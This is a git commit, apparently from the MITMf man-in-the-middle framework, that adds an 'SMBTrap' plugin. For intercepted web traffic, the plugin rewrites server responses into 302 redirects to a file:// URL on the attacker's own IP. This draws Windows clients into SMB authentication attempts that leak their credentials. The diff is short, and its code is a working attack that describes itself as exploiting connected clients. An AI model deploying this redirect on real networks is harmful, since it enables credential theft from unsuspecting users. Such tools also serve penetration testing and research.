handleStatus() is now hooked through serverResponseStatus, were now able to modify the server response code and message

added the SMBTrap plugin
This commit is contained in:
byt3bl33d3r 2015-05-22 20:16:47 +02:00
parent bdcee18be0
commit 840e202e5b
6 changed files with 36 additions and 2 deletions

23
plugins/SMBTrap.py Normal file
View file

@ -0,0 +1,23 @@
import logging
import random
import string
from plugins.plugin import Plugin
from core.utils import SystemConfig
mitmf_logger = logging.getLogger("mitmf")
class SMBTrap(Plugin):
name = "SMBTrap"
optname = "smbtrap"
desc = "Exploits the SMBTrap vulnerability on connected clients"
version = "1.0"
has_opts = False
def initialize(self, options):
self.ourip = SystemConfig.getIP(options.interface)
def serverResponseStatus(self, request, version, code, message):
return (version, 302, "Found")
def serverHeaders(self, response, request):
response.headers["Location"] = "file://{}/{}".format(self.ourip, ''.join(random.sample(string.ascii_uppercase + string.digits, 8)))